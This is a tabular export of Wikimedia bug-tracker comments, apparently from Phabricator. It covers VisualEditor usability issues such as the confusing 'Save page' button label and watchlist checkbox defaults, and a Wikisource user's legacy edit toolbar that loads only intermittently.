+838510,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",,,,1491557250,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+836494,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","A very typical wording would be ""Review and save"" (or ""Review and publish""). It shouldn't be merely ""Save"" or ""Publish"", since the page is not immediately saved when pressing it.",,,1491301428,,PHID-USER-uqnvjf4m5wpzmkaddswb,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0
+816812,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","""Ready to save""?",,,1488280705,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,191,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0
+813563,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Maybe there should be something like ""Proceed to save"" instead...",,,1487742745,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,190,,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+635019,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","I like the save process for the most part.  I agree this (initial label that opens the dialog) could potentially be changed, but in practice it's not really a problem as is.",,,1458845746,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,142,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0
+623100,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","The whole save/preview/edit summary interface feels clunky and getting the way. I don't have a constructive suggestion, it's a rather straightforward way of handling saving in a WYSIWYG editor - but it does not feel right, and I hear others complaining about it as well.",,,1457067955,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,139,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+200487,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","**swalling** wrote:
+
+This is being discussed on enwiki as well, at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VE_.22save.22_vs_.22finish_edit.22_button",,,1373412857,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+471188,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","There have been a lot of complaints about this on the enwiki feedback page. One especially interesting point was raised by the ever-wise John Broughton:
+
+> [""Save page""] is the same label as on the button, in the old editing interface, that completed the edit session. Lots of effort has been made, over the years, to encourage editors to write an edit summary before they click ""Save page"", and now VE is designed exactly the opposite. The button ought to be labeled ""Finish edit"" or ""Continue"" or ""Final steps"" or just about anything other than ""Save page"".
+> The current problem is even worse than just one poorly labeled button. In VE, after clicking ""Save page"", a dialog box appears that also has a ""Save page"" button. So now an editor has to understand that the two ""Save page"" buttons do not do the same thing. And documentation (when it's written) is going to have to clarify which ""Save page"" button is being referred to - unless the label on the first occurrence of ""Save page"" is changed, as it should be.
+
+The button label on enwiki was modified to ""Finish edit"" per [[MediaWiki:Visualeditor-toolbar-savedialog]].",,,1433810308,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,101,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+471187,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","There have been a lot of complaints about this on the enwiki feedback page. One especially interesting point was raised by the ever-wise John Broughton:
+
+> [""Save page""] is the same label as on the button, in the old editing interface, that completed the edit session. Lots of effort has been made, over the years, to encourage editors to write an edit summary before they click ""Save page"", and now VE is designed exactly the opposite. The button ought to be labeled ""Finish edit"" or ""Continue"" or ""Final steps"" or just about anything other than ""Save page"".
+
+> The current problem is even worse than just one poorly labeled button. In VE, after clicking ""Save page"", a dialog box appears that also has a ""Save page"" button. So now an editor has to understand that the two ""Save page"" buttons do not do the same thing. And documentation (when it's written) is going to have to clarify which ""Save page"" button is being referred to - unless the label on the first occurrence of ""Save page"" is changed, as it should be.
+
+The button label on enwiki was modified to ""Finish edit"" per [[MediaWiki:Visualeditor-toolbar-savedialog]].",,,1433810295,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,101,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+200478,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","There have been a lot of complaints about this on the enwiki feedback page. One especially interesting point was raised by the ever-wise John Broughton:
+
+---
+[""Save page""] is the same label as on the button, in the old editing interface, that completed the edit session. Lots of effort has been made, over the years, to encourage editors to write an edit summary before they click ""Save page"", and now VE is designed exactly the opposite. The button ought to be labeled ""Finish edit"" or ""Continue"" or ""Final steps"" or just about anything other than ""Save page"".
+
+The current problem is even worse than just one poorly labeled button. In VE, after clicking ""Save page"", a dialog box appears that also has a ""Save page"" button. So now an editor has to understand that the two ""Save page"" buttons do not do the same thing. And documentation (when it's written) is going to have to clarify which ""Save page"" button is being referred to - unless the label on the first occurrence of ""Save page"" is changed, as it should be.
+---
+
+The button label on enwiki was modified to ""Finish edit"" per [[MediaWiki:Visualeditor-toolbar-savedialog]].",,,1373365011,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,1,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+200469,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","I agree the toolbar button needs improvement, but imho changing the label from ""Save page"" to ""Save page..."" is not an improvement.
+
+It doesn't clarify or improve the user experience, it only makes it more mysterious.
+
+I'd prefer we look for another solution, but I think the current situation is better than having ""..."" tacked on to the label.",,,1370637776,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+200461,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Setting milestone to 2013-06-27 since it is marked as blocker for ""Beta"" (2013-07). It may be moved to an earlier milestone as we see fit. But no later than 06-27. Setting it since I use milestone to sort ""My bugs"".",,,1370298498,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0
+200452,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",Filing without prejudice as to whether we should implement.,,,1360206161,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+44136,"VisualEditor: ""Watch this"" checkbox in Save dialog should use same logic as core EditPage","When using VisualEditor currently when creating a page, the ""Save page"" dialog box has two checkboxes below the edit summary input: ""This is a minor edit"" and ""Watch this page"".
+
+The ""Watch this page"" checkbox is not auto-checked, even though it is (for my account) via the non-VisualEditor editor. There's a user preference (""Add pages I create and files I upload to my watchlist"") that controls whether this checkbox is checked by default when creating a page. VisualEditor currently ignores the value of this user preference. It should respect it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1352957160,1354835188.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-u4tbayn5u7dwwaa4yhrw,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+200362,"VisualEditor: ""Watch this"" checkbox in Save dialog should use same logic as core EditPage",Change-Id: Ic3daf32505a745b3cccd0663a03bbf7f3885be84,,,1354773511,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-u4tbayn5u7dwwaa4yhrw,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+200357,"VisualEditor: ""Watch this"" checkbox in Save dialog should use same logic as core EditPage","If
+- option ""Watch pages I edit (watchdefault)
+- option ""Watch pages I create (watchcreations)"" (and this is a page creation)
+- the page is already watched by the user for whatever reason",,,1354773101,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-u4tbayn5u7dwwaa4yhrw,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0
+44115,VisualEditor: Merging behaviour of lists should be looked at,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=66452",Low,25.0,1352935080,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-53f6o63dslfan6juoyu2,task_description,open,True,c1,0,True,False,,-33,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+199254,VisualEditor: Merging behaviour of lists should be looked at,I'm assuming that this is a high level tracking purpose ticket.,,,1362183560,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-53f6o63dslfan6juoyu2,task_subcomment,,True,c1,1,False,,,-18,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+199250,VisualEditor: Merging behaviour of lists should be looked at,"**orbit** wrote:
+
+Any details?",,,1362181189,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-53f6o63dslfan6juoyu2,task_subcomment,,True,c1,1,False,,,-18,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+56363,[DO NOT USE] VisualEditor: Tracking bugs for VisualEditor (tracking) [superseded by #VisualEditor],"[Unused; we don't do tracking bugs, post-Phabricator transition.]
+
+A central place for people to keep track of tracking bugs for VisualEditor. (Yay for bug meta-ness.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1379656500,1416796877.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ncpmmwig7janid6ikysj,task_description,invalid,True,c1,3,True,True,False,11,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+513028,[DO NOT USE] VisualEditor: Tracking bugs for VisualEditor (tracking) [superseded by #VisualEditor],[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343622,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ncpmmwig7janid6ikysj,task_subcomment,,True,c1,3,True,,,111,,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+56308,Customized legacy edit toolbar does not always load correctly,"Missing scan and edit toolbar
+
+I am posting three separate bugs and mentioning this in this first report because they are somewhat related.
+
+The user defined edit toolbar, defined in my very simple
+https://en.wikisource.org/wiki/User:Ineuw/common.js stopped functioning in this latest version of the mw software. In versions previous, it worked reliably and always, permitting me greatly increased productivity. The toolbar does show up intermittently and occasionally. 
+
+Regardless of the toolbutton definition syntax used, the same intermittent functioning is the result. The syntax is either the current definition one, or an older one:
+
+mw.toolbar.addButton(
+        '',
+        ' Æ ',
+        'Æ',
+        '',
+        '',
+        ''
+);
+
+I also used the definitions without image buttons, thinking that this may be the cause, but it doesn't make a difference.
+
+The problem is also not browser related. I tried other browsers and OS's as well:
+
+Firefox in Windows, Xubuntu, and Apple OSX.
+Safari in Windows and Apple OSX.
+Google Chrome in Windows and Linux (Xubuntu).
+but the intermittent behaviour is the same. . . . . 
+
+Finally, this is also true on the Commons and Wikipedia, where it's less critical because I am not so active on those wikis.
+
+Please see attached image.
+
+--------------------------
+**Version**: master
+**Severity**: normal
+
+**Attached**: {F11589}",Lowest,10.0,1379578860,1379736095.0,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,False,PHID-TASK-r3avdlac5as6usqbtpvz,task_description,declined,True,c1,3,False,False,True,11,,0,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0
+246292,Customized legacy edit toolbar does not always load correctly,"I ask that this bug be closed, since I accepted the demise of the old wiki toolbar.",,,1379736095,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+246289,Customized legacy edit toolbar does not always load correctly,"(In reply to comment #8)
+> I also got the same Firefox (23.0.1) error as Andre Klapper. If this seems to
+> be the cause, can't it be corrected?
+
+It might either be an issue in your code in common.js, or some changes in MediaWiki. Apart from Alex' cleanup which got merged at the beginning of September I cannot see any changes in
+https://git.wikimedia.org/history/mediawiki%2Fcore.git/HEAD/resources%2Fmediawiki.action%2Fmediawiki.action.edit.js
+
+> Finally, this is a very big disappointment because the replacement option is
+> very awkward. Among other things, it takes up (and unnecessarily) a lot of
+> screen real estate and I work on a 22"" screen.
+
+I don't see that big difference in size. Not sure if we refer to the same things?
+The legacy toolbar had enough issues (e.g. it was never meant to be expanded so inserting required exposing and dealing with implementation details) so it got replaced by the current toolbar.",,,1379680607,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,True,,,11,,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+246284,Customized legacy edit toolbar does not always load correctly,"I am not the only one who is using the toolbar at Wikisource. While other users have occasional issues, theirs seem to work on most cases. 
+
+I also got the same Firefox (23.0.1) error as Andre Klapper. If this seems to be the cause, can't it be corrected?
+
+Finally, this is a very big disappointment because the replacement option is very awkward. Among other things, it takes up (and unnecessarily) a lot of screen real estate and I work on a 22"" screen. Krinkle's opinion is akin to taking away a mechanic's trusted tools because he doesn't personally favor them. He should try his hand at some proofreading for a day or two.",,,1379623232,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0
+246278,Customized legacy edit toolbar does not always load correctly,"To quote Krinkle: 
+""The classic edit toolbar has long been deprecated. The default was replaced
+with WikiEditor on Wikimedia in a 2010 deployment"", plus VisualEditor is also around the corner.
+Setting lowest priority, might be even a WONTFIX.",,,1379601766,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0
+246273,Customized legacy edit toolbar does not always load correctly,"Created attachment 13327
+Character selection moved too low in new mw software version
+
+To the attention of Andre Klapper
+
+This is the missing image of the drop down character set selector
+
+**Attached**: {F11593}",,,1379590215,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+246270,Customized legacy edit toolbar does not always load correctly,"Created attachment 13325
+old style toolbar coding
+
+This text contains the legacy toolbar layout, without captions by the elements, no images, and notice the function syntax difference. It doesn't matter which I use, the behaviour is identical.
+
+mw.toolbar.addButton(
+
+and NOT 
+
+mw.toolbar.addButtons(
+
+**Attached**: {F11592}",,,1379589793,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+246266,Customized legacy edit toolbar does not always load correctly,"Created attachment 13324
+Legacy edit toolbar displayed.
+
+**Attached**: {F11591}",,,1379589573,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+246259,Customized legacy edit toolbar does not always load correctly,"Hi. I am sorry to confuse you. The new edit toolbar was activated so that I could take a proper snapshot and I forgot to turn it off. Otherwise, it's not usable for me at the moment.
+
+Wikisource users, who use edit toolbar buttons, use the ""legacy"" old style because it's more versatile. For my main project work of Popular Science Monthly, I only need the 12-14 extended ANSI to accommodate French and German and occasionally Greek. 
+
+I am also working on Hebrew/Arabic texts, and not being able to access the dropdown box of character selections, this forced me to try using the ""advanced"" WikiEditor toolbar in which my language setting places things in reverse order.
+
+I am attaching what should be the correct display of the legacy toolbar when it works.",,,1379589495,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+246252,Customized legacy edit toolbar does not always load correctly,"Hi ineuw,
+
+your screenshot looks like the old toolbar to me, instead of the WikiEditor toolbar. Is that intended or part of the problem?
+
+The WikiEditor toolbar should look like your screenshot in https://bugzilla.wikimedia.org/attachment.cgi?id=13323
+
+I went to 
+https://en.wikisource.org/w/index.php?title=Page:Popular_Science_Monthly_Volume_63.djvu/155&action=edit
+to reproduce the problem (Firefox 23.0.1) and switched to horizontal layout.
+
+I also copied your ""common.js"" file to my user account (the file basically just has a number of ""mw.toolbar.addButtons"" calls).
+
+The scanned image still loads for me, and I get the correct WikiEditor toolbar, but in Firefox' Error Console I get:
+
+Timestamp: 09/19/2013 11:52:12 AM
+Error: TypeError: mw.toolbar is undefined
+Source File: https://bits.wikimedia.org/en.wikisource.org/load.php?debug=false&lang=en&modules=user&only=scripts&skin=vector&user=AKlapper+%28WMF%29&version=20130919T095201Z&*
+Line: 1
+
+I have bug 47872 in mind.",,,1379585655,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1
+246246,Customized legacy edit toolbar does not always load correctly,"Created attachment 13321
+edit toolbar is showing occasionally
+
+**Attached**: {F11590}",,,1379578978,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+55973,VisualEditor: Link input widget should have separate inputs for target and display text,"The link input widget should have separate fields for the link target and the displayed text.
+
+From various comments at T50789
+
+> There are essentially two ways to create a link:
+> 
+> […]
+> 
+> #2 You click the link button first, enter the target and get out of the dialog, at which point the link text (identical to chosen link target) will be entered.
+> 
+> […]
+> With this method, the user will often have to adjust the link's text afterwards, for instance in the case of plurals or if the target article is disambiguated with parentheses. But it is not clear to the user that adjusting the link text is safe and won't create a broken link; indeed the crucial distinction between link text and link target remains obscure. (Changing a singular to a plural is especially difficult since editing links at the end is not allowed.)
+> 
+> I have checked the workflow of entering links in LibreOffice, Gmail and Word; they are all basically the same as in the Visual Editor, with two major differences: 
+> 
+> a) the dialog popup window has a clear OK button, and [T54462]
